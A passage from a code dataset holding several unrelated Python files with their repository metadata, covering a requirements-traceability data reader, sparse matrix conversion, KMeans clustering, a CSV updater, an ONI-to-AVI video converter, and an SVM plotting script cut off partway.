__init__(self, dir_path):\n super().__init__(dir_path)\n self.sdir = os.path.join(dir_path, \"FRS\")\n self.tdir = os.path.join(dir_path, \"SRS\")\n self.link = os.path.join(dir_path, \"FRStoSRS.txt\")\n\n def get_examples(self) -> TraceExamples:\n links = set()\n sarts, tarts = self._read_arts()\n for line in Path(self.link).read_text().splitlines():\n if line.startswith(\"%\"):\n continue\n parts = [x for x in line.split(\"\\t\") if len(x) > 0]\n if len(parts) == 2:\n sid, tids = parts[0], parts[1]\n for tid in tids.split():\n links.add((sid, tid))\n return TraceExamples(sarts, tarts, links)\n\n def _read_arts(self):\n def read_art(dir, fname):\n content = Path(os.path.join(dir, fname)).read_text()\n return fname, content[content.find(\"-\") :] # clean the id from text\n\n sarts, tarts = dict(), dict()\n for sart in os.listdir(self.sdir):\n id, content = read_art(self.sdir, sart)\n sarts[id] = content\n for tart in os.listdir(self.tdir):\n id, content = read_art(self.tdir, tart)\n tarts[id] = content\n return sarts, tarts\n\n\nclass SAFATableReader(DataReader):\n def __init__(self, mysql_cursor, source_table, target_table, link_table=None):\n \"\"\"\n Dataset reader from mysql database with SAFA project schema.\n\n Args:\n mysql_cursor : mysql cursor\n source_table : table name for source artifact\n target_table : table name for target artifact\n link_table (optional): Table name for links. When read dataset for prediction purpose, leave this place as None . Defaults to None.\n \"\"\"\n super().__init__(\"\")\n self.cursor = mysql_cursor\n self.stab, self.ttab, self.lk_tab = source_table, target_table, link_table\n\n def get_examples(self) -> TraceExamples:\n sarts = self._read_art(self.stab)\n tarts = self._read_art(self.ttab)\n links = set()\n if self.lk_tab is not None:\n self.cursor.execute(f\"SELECT source_id, target_id FROM {self.lk_tab}\")\n results = self.cursor.fetchall()\n for sid, tid in results:\n links.add((sid, tid))\n return TraceExamples(sarts, tarts, links)\n\n def _read_art(self, table_url):\n arts = dict()\n self.cursor.execute(f\"SELECT id, content FROM {table_url}\")\n results = self.cursor.fetchall()\n for id, content in results:\n arts[id] = content\n return arts\n\n\nclass SAFALinkWriter:\n def __init__(self, mysql_cursor, table_name):\n self.cursor = mysql_cursor\n self.table = table_name\n\n def write(self, df: \"DataFrame\"):\n sql = f\"INSERT INTO {self.table} (source, target, score) VALUES (%s, %s, %s)\"\n vals = []\n for idx, row in df.iterrows():\n vals.append((row[SID], row[TID], row[PRED]))\n self.cursor.executemany(sql, vals)\n\n\nif __name__ == \"__main__\":\n rds = [\n CM1Reader(\"../data/CM1-NASA\"),\n PACISReader(\"../data/PACIS\"),\n CCHITReader(\"../data/CCHIT\"),\n ]\n for rd in rds:\n print(len(rd))\n break\n", "repo_name": "anthi7/SE_TraceBERT", "sub_path": "LMTrace/data_structure.py", "file_name": "data_structure.py", "file_ext": "py", "file_size_in_byte": 21941, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 67, "usage_type": "call"}, {"api_name": "random.choices", "line_number": 105, "usage_type": "call"}, {"api_name": "LMTrace.models.MODEL_ARCH_SINGLE", "line_number": 126, "usage_type": "argument"}, {"api_name": "LMTrace.models.MODEL_ARCH_SIAMESE", "line_number": 130, "usage_type": "argument"}, {"api_name": "random.sample", "line_number": 168, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 237, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 240, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 243, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 246, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 253, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 272, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 277, "usage_type": "call"}, {"api_name": "os.path", "line_number": 277, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 278, "usage_type": "call"}, {"api_name": "os.path", "line_number": 278, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 279, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 313, "usage_type": "call"}, {"api_name": "os.path", "line_number": 313, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 314, "usage_type": "call"}, {"api_name": "os.path", "line_number": 314, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 315, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 318, "usage_type": "call"}, {"api_name": "os.path", "line_number": 318, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 320, "usage_type": "call"}, {"api_name": "os.path", "line_number": 320, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 365, "usage_type": "call"}, {"api_name": "os.path", "line_number": 365, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 366, "usage_type": "call"}, {"api_name": "os.path", "line_number": 366, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 367, "usage_type": "call"}, {"api_name": "os.path", "line_number": 367, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 371, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 372, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 373, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 388, "usage_type": "call"}, {"api_name": "os.path", "line_number": 388, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 389, "usage_type": "call"}, {"api_name": "os.path", "line_number": 389, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 390, "usage_type": "call"}, {"api_name": "os.path", "line_number": 390, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 395, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 402, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 402, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 409, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 412, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 427, "usage_type": "call"}, {"api_name": "os.path", "line_number": 427, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 428, "usage_type": "call"}, {"api_name": "os.path", "line_number": 428, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 429, "usage_type": "call"}, {"api_name": "os.path", "line_number": 429, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 442, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 442, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 452, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 452, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 467, "usage_type": "call"}, {"api_name": "os.path", "line_number": 467, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 474, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 506, "usage_type": "call"}, {"api_name": "os.path", "line_number": 506, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 507, "usage_type": "call"}, {"api_name": "os.path", "line_number": 507, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 508, "usage_type": "call"}, {"api_name": "os.path", "line_number": 508, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 514, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 514, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 525, "usage_type": "call"}, {"api_name": "os.path", "line_number": 525, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 526, "usage_type": "call"}, {"api_name": "os.path", "line_number": 526, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 527, "usage_type": "call"}, {"api_name": "os.path", "line_number": 527, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 532, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 544, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 544, "usage_type": "call"}, {"api_name": "os.path", "line_number": 544, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 548, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 551, "usage_type": "call"}]} {"seq_id": "26407142808", "text": "import numpy as np\nimport typing as t\nimport pandas as pd\n\nfrom tqdm import tqdm\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom scipy.sparse import hstack, csr_matrix, save_npz\n\nfrom create_indptr import create_indptr\n\n\ndef check_size(xs: np.ndarray, ys: np.ndarray, datas: np.ndarray) -> float:\n return (xs.nbytes + ys.nbytes + datas.nbytes) * 1e-9\n\n\ndef create_csr_arrays(h5_file_path: Path, destination: Path) -> t.Tuple[t.List[Path], t.List[Path], t.List[Path]]:\n # Initialize Variables\n chunksize = 1000\n loaded_rows = chunksize\n start = 0\n start_pos = 0\n file_pointer = 0\n\n # Initialize CSR arrays\n indptr = np.array([], dtype=np.int64)\n indices = np.array([], dtype=np.int32)\n data_s = np.array([], dtype=np.float32)\n\n indptr_paths = []\n indice_paths = []\n data_paths = []\n\n pbar = tqdm()\n while chunksize == loaded_rows:\n size_gb = check_size(indptr, indices, data_s)\n if size_gb > 7.0:\n pbar.set_postfix_str(f\"Total size is {size_gb}. Saving...\")\n indptr_path = destination / f\"indptr_{file_pointer}.npy\"\n indice_path = destination / f\"indice_{file_pointer}.npy\"\n data_path = destination / f\"data_{file_pointer}.npy\"\n\n np.save(indptr_path, indptr)\n np.save(indice_path, indices)\n np.save(data_path, data_s)\n\n indptr_paths.append(indptr_path)\n indice_paths.append(indice_path)\n data_paths.append(data_path)\n\n # Re-initialize\n indptr = np.array([], dtype=np.int64)\n indices = np.array([], dtype=np.int32)\n data_s = np.array([], dtype=np.float32)\n file_pointer += 1\n\n pbar.set_postfix_str(\"Reading .h5 chunk\")\n df = pd.read_hdf(h5_file_path, start=start, stop=start+chunksize)\n pbar.set_postfix_str(\"Extracting non-zero values\")\n x_coords, y_coords = df.values.nonzero()\n tmp_data = df.values[df.values != 0.0]\n\n loaded_rows = df.shape[0]\n\n # Convert types\n y_coords = y_coords.astype(np.int32, copy=False)\n tmp_data = tmp_data.astype(np.float32, copy=False)\n\n pbar.set_postfix_str(\"Compressing row values\")\n x_coords = create_indptr(x_coords, start_pos=start_pos, nrows=loaded_rows)\n\n pbar.set_postfix_str(\"Update variables\")\n start_pos += y_coords.shape[0]\n start += chunksize\n\n # Append data at the end of each array\n indptr = np.hstack((indptr, x_coords))\n indices = np.hstack((indices, y_coords))\n data_s = np.hstack((data_s, tmp_data))\n\n pbar.update(loaded_rows)\n\n pbar.set_postfix_str(\"Done. Save last files\")\n indptr_path = destination / f\"indptr_{file_pointer}.npy\"\n indice_path = destination / f\"indice_{file_pointer}.npy\"\n data_path = destination / f\"data_{file_pointer}.npy\"\n\n np.save(indptr_path, indptr)\n np.save(indice_path, indices)\n np.save(data_path, data_s)\n\n indptr_paths.append(indptr_path)\n indice_paths.append(indice_path)\n data_paths.append(data_path)\n\n return indptr_paths, indice_paths, data_paths\n\n\ndef create_sparse_matrix(\n indptr_paths: t.List[Path],\n indice_paths: t.List[Path],\n data_paths: t.List[Path],\n rows: int,\n columns: int,\n) -> csr_matrix:\n csr_arrays = []\n for ptr, ind, dat in zip(indptr_paths, indice_paths, data_paths):\n indptr = np.load(ptr)\n indices = np.load(ind)\n data = np.load(dat)\n\n # Indptr has shape nrows instead of nrows + 1, can add last elemenent\n # corresponding to the length of indices or data arrays\n indptr = np.append(indptr, indptr[-1] + indices[indptr[-1]:].shape)\n csr = csr_matrix((data, indices, indptr), shape=(rows, columns))\n csr_arrays.append(csr)\n\n return hstack(csr_arrays)\n\n\ndef main():\n DATA_DIR = Path(\"multimodal\")\n TRAIN_MULTI_INPUTS = DATA_DIR / \"train_multi_inputs.h5\"\n TEST_MULTI_INPUTS = DATA_DIR / \"test_multi_inputs.h5\"\n TRAIN_MULTI_TARGETS = DATA_DIR / \"train_multi_targets.h5\"\n\n TRAIN_OUTPUT_PATH = DATA_DIR / \"train_multiome_input_sparse.npz\"\n TEST_OUTPUT_PATH = DATA_DIR / \"test_multiome_input_sparse.npz\"\n TRAIN_TARGET_PATH = DATA_DIR / \"train_multiome_target_sparse.npz\"\n\n # Known shapes of the multiome inputs apriori\n TRAIN_ROWS = 105942\n TEST_ROWS = 55935\n INPUT_COLUMNS = 228942\n TARGET_COLUMNS = 23418\n\n inputs = [\n (TRAIN_MULTI_INPUTS, TRAIN_OUTPUT_PATH, TRAIN_ROWS, INPUT_COLUMNS),\n (TEST_MULTI_INPUTS, TEST_OUTPUT_PATH, TEST_ROWS, INPUT_COLUMNS),\n (TRAIN_MULTI_TARGETS, TRAIN_TARGET_PATH, TRAIN_ROWS, TARGET_COLUMNS),\n ]\n\n for source, destination, rows, cols in inputs:\n with TemporaryDirectory() as temp_dir:\n indptr_paths, indice_paths, data_paths = create_csr_arrays(source, Path(temp_dir))\n stacked_csr = create_sparse_matrix(indptr_paths, indice_paths, data_paths, rows, cols)\n save_npz(destination, stacked_csr)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "dogeplusplus/multimodal-cell", "sub_path": "data/sparse_matrix.py", "file_name": "sparse_matrix.py", "file_ext": "py", "file_size_in_byte": 5062, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.ndarray", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 28, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 52, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 53, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 54, "usage_type": "attribute"}, {"api_name": "pandas.read_hdf", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 66, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 67, "usage_type": "attribute"}, {"api_name": "create_indptr.create_indptr", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 90, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 17, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 17, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 100, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 100, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 101, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 101, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 102, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 102, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 114, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 115, "usage_type": "call"}, {"api_name": "scipy.sparse.hstack", "line_number": 118, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 105, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 122, "usage_type": "call"}, {"api_name": "tempfile.TemporaryDirectory", "line_number": 144, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 145, "usage_type": "call"}, {"api_name": "scipy.sparse.save_npz", "line_number": 147, "usage_type": "call"}]} {"seq_id": "10497624550", "text": "from copy import deepcopy\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom sklearn.cluster import KMeans\nfrom mpl_toolkits.mplot3d import Axes3D\nplt.rcParams['figure.figsize'] = (16,9)\n\nplt.style.use('ggplot')\n\n#importing thr dataset\n\ndata= pd.read_csv('mallCustomerData.txt', sep=\",\")\n\nf1 = data['Annual Income (k$)'].values\nf2 = data['Spending Score (1-100)'].values\n\n\nx = np.array(list(zip(f1,f2)))\n\n# wygląd : x = [[1,1], [1,2], [3,3], [4,4]]\n\nplt.scatter(f1,f2, c='black', s=20)\n# plt.show()\n\n#number of clusters:\nkmeans = KMeans(n_clusters=3)\n\n#fitting the input data\n\nkmeans = kmeans.fit(x)\n\nlabels = kmeans.predict(x)\n\nc = kmeans.cluster_centers_\n\nfig = plt.figure()\n\nax = Axes3D(fig)\n\nax.scatter(x[:,0],x[:,1],x[:,2], c='y')\n\nax.scatter(c[:,0], c[:,1], c[:,2], marker='*', c='#050505', s=1000)\n\n# initializing KMeans\nkmeans = KMeans(n_clusters=4)\n\n##fitting with inputs\nkmeans = kmeans.fit(x)\n\n#Predicting the clusters\nlabels = kmeans.predict(x)\n\n#getting the cluster centers\n\nc = kmeans.cluster_centers_\n\nprint(labels)", "repo_name": "topekkrol/PythonforDataScience-MachineLearning-ZerotoHero", "sub_path": "FindingKValuesOfPlasterKMeans.py", "file_name": "FindingKValuesOfPlasterKMeans.py", "file_ext": "py", "file_size_in_byte": 1061, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.pyplot.rcParams", "line_number": 7, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 9, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "mpl_toolkits.mplot3d.Axes3D", "line_number": 39, "usage_type": "call"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 46, "usage_type": "call"}]} {"seq_id": "42184221304", "text": "from csv import DictWriter\nfrom datetime import datetime\nimport os\nfrom pathlib import Path\nimport distutils.dir_util\n\n\n\nclass SimiUpdate():\n\n def simi_operation(self, operation_number, operation_description, work_center, part_number, operation_revision):\n\n # finding last folder\n rootdir = \"C:/Users/bielakp/Desktop/Simi_import/Import/\"\n\n last_subfolder = sorted(Path(rootdir).iterdir(), key=os.path.getatime)\n last_subfolder = os.listdir(rootdir)[-1]\n print(last_subfolder)\n # Create new folder\n today = datetime.now()\n year = today.strftime('%Y')\n month = today.strftime('%m')\n day = today.strftime('%d')\n\n update_folder = (year + '-' + month + '-' + day)\n os.mkdir(\"C:/Users/bielakp/Desktop/Simi_import/Import/\" + update_folder)\n\n # copy file\n src = r\"C:/Users/bielakp/Desktop/Simi_import/Import/\" + last_subfolder\n dst = r\"C:/Users/bielakp/Desktop/Simi_import/Import/\" + update_folder\n distutils.dir_util.copy_tree(src, dst)\n print(update_folder)\n\n\n try:\n #Check row number\n rowcount = 0\n for row in open(r\"C:\\Users\\bielakp\\Desktop\\Simi_import\\Import\\{up}\\import_operacje.csv\".format(up = update_folder)):\n rowcount+= 1\n print(\"Number of lines present:-\", rowcount)\n\n #Update\n field_names = ['operacja',\n 'nazwa',\n 'stanowisko',\n 'pn',\n 'licznik',\n 'zaklad',\n 'sekwencja',\n 'typ_marszruty',\n 'klucz_grupy_marszrut',\n 'numer_zmiany',\n 'data_ostatniej_zmiany',]\n\n operation = operation_number\n operation_name = operation_description\n station = work_center\n pn = part_number\n rev_op = operation_revision\n convert_rev = f'{rev_op}'\n\n dict = {'operacja' : operation,\n 'nazwa' : operation_name,\n 'stanowisko' : station,\n 'pn' : pn,\n 'licznik' : '0',\n 'zaklad' : 'HSW',\n 'sekwencja' : '0',\n 'typ_marszruty' : 'N',\n 'klucz_grupy_marszrut' : '0',\n 'numer_zmiany' : '0',\n 'data_ostatniej_zmiany' : convert_rev + ',,' }\n\n with open(r'C:\\Users\\bielakp\\Desktop\\Simi_import\\Import\\{up}\\import_operacje.csv'.format(up = update_folder), 'a', newline='') as f_object:\n\n dictwriter_object = DictWriter(f_object, fieldnames=field_names, delimiter=';')\n\n dictwriter_object.writerow(dict)\n\n f_object.close()\n\n except:\n print(\"Next time\")\n\n\n\n", "repo_name": "BielakPrzemyslaw/WSB-Application", "sub_path": "New_sap_app/simi_update.py", "file_name": "simi_update.py", "file_ext": "py", "file_size_in_byte": 2867, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pathlib.Path", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 20, "usage_type": "name"}, {"api_name": "os.mkdir", "line_number": 26, "usage_type": "call"}, {"api_name": "distutils.dir_util.dir_util.copy_tree", "line_number": 31, "usage_type": "call"}, {"api_name": "distutils.dir_util.dir_util", "line_number": 31, "usage_type": "attribute"}, {"api_name": "distutils.dir_util", "line_number": 31, "usage_type": "name"}, {"api_name": "csv.DictWriter", "line_number": 76, "usage_type": "call"}]} {"seq_id": "20310384144", "text": "import cv2\nimport os\nimport numpy as np\nfrom openni import openni2\nfrom multiprocessing import Pool\n\n#This script was used to convert .oni files to .avi. \n#The original dataset contained only files in this format\n# Original DataSet: https://web.inf.ufpr.br/vri/databases/brazilian-sign-language-libras-hand-configurations-database/ \n\ndef process_file(args):\n file_path, new_dir_path, file_name = args # Unpack the arguments\n try:\n # Load the ONI file\n print(file_path)\n dev = openni2.Device.open_file(file_path.encode('utf-8'))\n color_stream = dev.create_color_stream()\n\n # Start the stream\n color_stream.start()\n\n # Create an OpenCV video writer\n new_file_path = os.path.join(new_dir_path, file_name.replace(\".oni\", \".avi\"))\n fourcc = cv2.VideoWriter_fourcc(*'XVID')\n out = cv2.VideoWriter(new_file_path, fourcc, 20.0, (640,480))\n\n n_frames = color_stream.get_number_of_frames()\n\n n_processed_frames = 0\n while True:\n # Break the loop if all frames have been processed\n if n_processed_frames >= n_frames:\n break\n\n # Read a frame from the color stream\n frame = color_stream.read_frame()\n frame_data = np.array(frame.get_buffer_as_triplet()).reshape([480, 640, 3])\n\n # Convert the frame to a numpy array\n frame_data = cv2.cvtColor(frame_data, cv2.COLOR_RGB2BGR)\n # Write the frame to the video file\n out.write(frame_data)\n\n n_processed_frames += 1\n\n # Release everything when done\n out.release()\n color_stream.stop()\n except Exception as e:\n print(f\"Error processing file {file_path}: {e}\")\n\n# Main function\ndef main():\n # Initialize OpenNI\n openni2.initialize(\"/home/tokamak/Documents/OpenNI-Linux-x64-2.2/Redist\")\n\n # Get a list of all directories in the \"Gestures\" folder\n root_dir = \"/home/tokamak/Desktop/Libras/Gestos\" # Replace with the path to your \"Gestures\" folder\n target_dir = \"/home/tokamak/Desktop/Libras/Videos\" \n dir_list = [d for d in os.listdir(root_dir) if os.path.isdir(os.path.join(root_dir, d))]\n\n print(dir_list)\n\n for dir_name in dir_list:\n # Create a new directory for the videos\n new_dir_path = os.path.join(target_dir, dir_name.replace(\"C\", \"V\")) # Replace with your desired path for \"Videos\"\n\n # Check if the directory already exists\n if os.path.exists(new_dir_path):\n print(f\"Directory {new_dir_path} already exists. Skipping...\")\n continue\n\n os.makedirs(new_dir_path, exist_ok=True)\n\n # Get a list of all ONI files in the directory\n dir_path = os.path.join(root_dir, dir_name)\n file_list = [(os.path.join(dir_path, f), new_dir_path, f) for f in os.listdir(dir_path) if f.endswith(\".oni\")] # Add extra parameters\n\n # Create a pool of workers\n with Pool() as p:\n p.map(process_file, file_list)\n\n openni2.unload()\n\n# Run the main function\nif __name__ == \"__main__\":\n main()\n\n", "repo_name": "caiosoter/SignToText", "sub_path": "misc/DataCleanup/BSL61Gestos/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3092, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "openni.openni2.Device.open_file", "line_number": 16, "usage_type": "call"}, {"api_name": "openni.openni2.Device", "line_number": 16, "usage_type": "attribute"}, {"api_name": "openni.openni2", "line_number": 16, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.VideoWriter", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2BGR", "line_number": 40, "usage_type": "attribute"}, {"api_name": "openni.openni2.initialize", "line_number": 55, "usage_type": "call"}, {"api_name": "openni.openni2", "line_number": 55, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 77, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 80, "usage_type": "call"}, {"api_name": "openni.openni2.unload", "line_number": 83, "usage_type": "call"}, {"api_name": "openni.openni2", "line_number": 83, "usage_type": "name"}]} {"seq_id": "1120010223", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.colors import ListedColormap\nfrom sklearn.svm import SVC\n\n\ndef plot_decision_regions(X, y, classifier, test_idx=None, resolution=0.02):\n # setup marker generator and color map\n markers = ('s', 'x', 'o', '^', 'v')\n colors = ('red', 'blue', 'lightgreen', 'gray', 'cyan')\n cmap = ListedColormap(colors[:len(np.unique(y))])\n\n # plot the decision surface\n x1_min, x1_max = X[:, 0].min() - 1, X[:, 0].max() + 1\n x2_min, x2_max = X[:, 1].min() - 1, X[:, 1].max() + 1\n xx1, xx2 = np.meshgrid(np.arange(x1_min, x1_max, resolution),\n np.arange(x2_min, x2_max, resolution))\n Z = classifier.predict(np.array([xx1.ravel(), xx2.ravel()]).T)\n Z = Z.reshape(xx1.shape)\n plt.contourf(xx1, xx2, Z, alpha=0.4, cmap=cmap)\n plt.xlim(xx1.min(), xx1.max())\n plt.ylim(xx2.min(), xx2.max())\n\n # plot class samples\n for idx, cl in enumerate(np.unique(y)):\n plt.scatter(x=X[y == cl, 0], y=X[y == cl, 1],\n alpha=0.8, c=cmap(idx),\n marker=markers[idx], label=cl)\n\n # Highlight test samples\n if test_idx:\n X_test, y_test = X[test_idx, :], y[test_idx]\n plt.scatter(X_test[:, 0],\n X_test[:, 1],\n c='',\n alpha=1.0,\n linewidths=1,\n marker='o',\n s=55, label='test set')\n\n\n# Generation d'un nombre de points aléatoires, ces points ne peuvent pas être séparé linéairement\nnp.random.seed(0)\nx_xor = np.random.randn(200, 2)\n\n\ny_xor = np.logical_xor(x_xor[:, 0] > 0, x_xor[:, 1] > 0)\ny_xor = np.where(y_xor, 1, -1)\n\nplt.scatter(x_xor[y_xor == 1, 0],\n x_xor[y_xor == 1, 1],\n c='b', marker='x',\n label='1')\nplt.scatter(x_xor[y_xor == -1, 0],\n x_xor[y_xor == -1, 1],\n c='r',\n marker='s',\n label='-1')\nplt.xlim([-3, 3])\nplt.ylim([-3, 3])\n# plt.show()\n\n# On utilise donc un Kernel trick pour projeter nos données dans un hyperplan de dimension supérieur, ou il sera possible\n# de séparer des données qui ne l'etait pas initialement\n# Pour cela on utilise le Gaussien Kernel (rbf)\n\nsvm = SVC(kernel='rbf', random_state=0, gamma=0.10, C=1000.0) # Plus gamma augmente plus on a risque 